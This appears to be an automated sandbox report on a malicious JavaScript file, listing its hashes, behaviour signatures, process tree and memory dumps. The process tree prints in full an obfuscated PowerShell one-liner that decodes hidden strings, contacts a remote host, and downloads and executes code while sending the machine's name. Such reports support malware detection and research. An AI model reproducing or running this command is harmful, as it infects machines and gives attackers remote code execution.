Overview

overview

10

Static

static

1

Notice_3_m...985.js

windows7-x64

10

Notice_3_m...985.js

windows10-2004-x64

10

Analysis

  • max time kernel
    135s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/05/2023, 13:57

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General

  • Target

    Notice_3_may_2248985.js

  • Size

    317KB

  • MD5

    5a39a8bbb5d45eb5a078d9c54c58f118

  • SHA1

    41b9582b72696d7d1d1b2664b0a9518887bba36a

  • SHA256

    371c52c6d1206fdc9d9b2f665fb6150596f9444896faf44420d4e5d33f1b68a7

  • SHA512

    1eb6561040964d9db87e1d6a18a318de0b3d8aeecc2110cda8dc1e1e05db44e38b14550a22e664becb0552bf94d05ab71a4973595dde2cee66405b5428e00a68

  • SSDEEP

    3072:+7O6uzBncUvgXSiyqgAZN3Q4De7XaGkH04uOU4aWttssRvX+cGdWBCJjQ+4jvjlp:k

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Notice_3_may_2248985.js
    1⤵
      PID:2700
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell @(3429,3466,3474,3467,3463,3457,3401,3438,3457,3471,3472,3433,3457,3472,3460,3467,3456)|foreach{$pznk=$pznk+[char]($_-3356)};@(2672,2679,2672,2677,2669,2678,2613,2672,2678,2614,2672,2679)|foreach{$ncpfwk=$ncpfwk+[char]($_-2567)};@(968,980,980,976,922,911,911,964,981,962,968,964,910,980,975,976,911,978,980,910,976,968,976,927,969,925)|foreach{$dctzmj=$dctzmj+[char]($_-864)};new-alias gjop $pznk;$ucvfql='rl';$yga = gjop -Uri $ncpfwk;new-alias reap cu$ucvfql;$3f=$env:computername;.$([char](6692-6587)+'ex')(reap -useb "$dctzmj$yga<>$3f")
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1840
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell @(3429,3466,3474,3467,3463,3457,3401,3438,3457,3471,3472,3433,3457,3472,3460,3467,3456)|foreach{$pznk=$pznk+[char]($_-3356)};@(2672,2679,2672,2677,2669,2678,2613,2672,2678,2614,2672,2679)|foreach{$ncpfwk=$ncpfwk+[char]($_-2567)};@(968,980,980,976,922,911,911,964,981,962,968,964,910,980,975,976,911,978,980,910,976,968,976,927,969,925)|foreach{$dctzmj=$dctzmj+[char]($_-864)};new-alias gjop $pznk;$ucvfql='rl';$yga = gjop -Uri $ncpfwk;new-alias reap cu$ucvfql;$3f=$env:computername;.$([char](6692-6587)+'ex')(reap -useb $dctzmj$yga<>$3f)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4344

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_smpqpwo1.5ai.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/4344-133-0x0000018E7C9A0000-0x0000018E7C9C2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4344-143-0x0000018E616D0000-0x0000018E616E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4344-144-0x0000018E616D0000-0x0000018E616E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4344-145-0x0000018E616D0000-0x0000018E616E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4344-146-0x0000018E7D0E0000-0x0000018E7D2A2000-memory.dmp

      Filesize

      1.8MB

      Download